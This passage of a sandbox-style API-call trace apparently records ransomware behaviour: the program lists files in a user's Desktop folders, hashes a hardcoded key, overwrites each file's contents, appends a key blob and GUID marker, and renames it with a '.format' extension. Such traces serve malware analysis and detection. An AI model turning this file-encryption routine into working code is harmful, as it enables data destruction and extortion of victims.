lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.716] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x19d0) returned 0x329f158 [0069.717] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.717] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.717] WriteFile (in: hFile=0x5c8, lpBuffer=0x329f158*, nNumberOfBytesToWrite=0x19c7, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x329f158*, lpNumberOfBytesWritten=0x38cfb24*=0x19c7, lpOverlapped=0x0) returned 1 [0069.717] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329f158 | out: hHeap=0x5d0000) returned 1 [0069.717] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x19cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.717] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.717] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.717] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.717] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.717] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.717] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.717] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.717] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.717] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.717] CloseHandle (hObject=0x5c8) returned 1 [0069.718] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328ccb8 [0069.718] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8f0) returned 0x3178dd8 [0069.718] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328ccb8 | out: hHeap=0x5d0000) returned 1 [0069.718] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\8e9tUhNS.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\8e9tuhns.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\8e9tUhNS.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\8e9tuhns.mp3.format")) returned 1 [0069.719] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.719] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.720] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59fd3490, ftCreationTime.dwHighDateTime=0x1d4cb9c, ftLastAccessTime.dwLowDateTime=0x895f2dc0, ftLastAccessTime.dwHighDateTime=0x1d4c9ca, ftLastWriteTime.dwLowDateTime=0x895f2dc0, ftLastWriteTime.dwHighDateTime=0x1d4c9ca, nFileSizeHigh=0x0, nFileSizeLow=0xa7f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AY5wVsgvxZG.mkv", cAlternateFileName="AY5WVS~1.MKV")) returned 1 [0069.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.720] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x136) returned 0x3152000 [0069.720] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.720] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\AY5wVsgvxZG.mkv") returned=".mkv" [0069.720] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\AY5wVsgvxZG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\ay5wvsgvxzg.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.720] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=42998) returned 1 [0069.720] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.723] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa7d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.723] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.724] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eca0 [0069.724] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eca0 | out: hHeap=0x5d0000) returned 1 [0069.724] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.724] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xa7f6, lpOverlapped=0x0) returned 1 [0069.725] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.725] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.725] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.725] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.725] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.726] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.726] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.726] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.726] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.726] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.726] GetLastError () returned 0x0 [0069.726] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.726] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.726] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.726] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa800) returned 0x32b2f40 [0069.726] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.726] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.726] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0xa7f1, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0xa7f1, lpOverlapped=0x0) returned 1 [0069.727] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.727] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xa7f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.727] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.727] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.727] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.727] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.727] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.727] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.727] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.727] CloseHandle (hObject=0x5c8) returned 1 [0069.730] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328ccb8 [0069.730] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8f0) returned 0x3178dd8 [0069.730] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328ccb8 | out: hHeap=0x5d0000) returned 1 [0069.730] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\AY5wVsgvxZG.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\ay5wvsgvxzg.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\AY5wVsgvxZG.mkv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\ay5wvsgvxzg.mkv.format")) returned 1 [0069.730] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.730] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.731] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.731] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1969460, ftCreationTime.dwHighDateTime=0x1d4d3a8, ftLastAccessTime.dwLowDateTime=0xea2b3a60, ftLastAccessTime.dwHighDateTime=0x1d4d346, ftLastWriteTime.dwLowDateTime=0xea2b3a60, ftLastWriteTime.dwHighDateTime=0x1d4d346, nFileSizeHigh=0x0, nFileSizeLow=0x138ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qWXQp5P.flv", cAlternateFileName="")) returned 1 [0069.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x32a8b80 [0069.731] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x136) returned 0x3152000 [0069.731] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a8b80 | out: hHeap=0x5d0000) returned 1 [0069.731] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\qWXQp5P.flv") returned=".flv" [0069.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\qWXQp5P.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\qwxqp5p.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.732] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=80058) returned 1 [0069.732] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.734] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.734] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.735] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183008 [0069.735] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.735] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.735] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x138ba, lpOverlapped=0x0) returned 1 [0069.736] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.736] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.736] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.736] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.736] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.736] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.736] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.736] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.736] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.737] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.737] GetLastError () returned 0x0 [0069.737] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.737] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.737] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x138c0) returned 0x32b2f40 [0069.737] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.737] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.737] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x138b5, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x138b5, lpOverlapped=0x0) returned 1 [0069.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.738] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x138ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.738] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.738] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.738] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.738] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.738] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.738] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.738] CloseHandle (hObject=0x5c8) returned 1 [0069.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328ccb8 [0069.740] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8f0) returned 0x3178dd8 [0069.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328ccb8 | out: hHeap=0x5d0000) returned 1 [0069.740] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\qWXQp5P.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\qwxqp5p.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\Q3tTjFbyLkyl\\lAFKNLNIoK0mzGu\\_gU8s-ivYxTsofJE\\qWXQp5P.flv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\q3ttjfbylkyl\\lafknlniok0mzgu\\_gu8s-ivyxtsofje\\qwxqp5p.flv.format")) returned 1 [0069.740] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.740] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.741] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.741] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1969460, ftCreationTime.dwHighDateTime=0x1d4d3a8, ftLastAccessTime.dwLowDateTime=0xea2b3a60, ftLastAccessTime.dwHighDateTime=0x1d4d346, ftLastWriteTime.dwLowDateTime=0xea2b3a60, ftLastWriteTime.dwHighDateTime=0x1d4d346, nFileSizeHigh=0x0, nFileSizeLow=0x138ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qWXQp5P.flv", cAlternateFileName="")) returned 0 [0069.741] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3146a70 | out: hHeap=0x5d0000) returned 1 [0069.742] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3284030 [0069.742] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.742] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.742] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.743] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3283f78 | out: hHeap=0x5d0000) returned 1 [0069.743] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283f78 [0069.743] 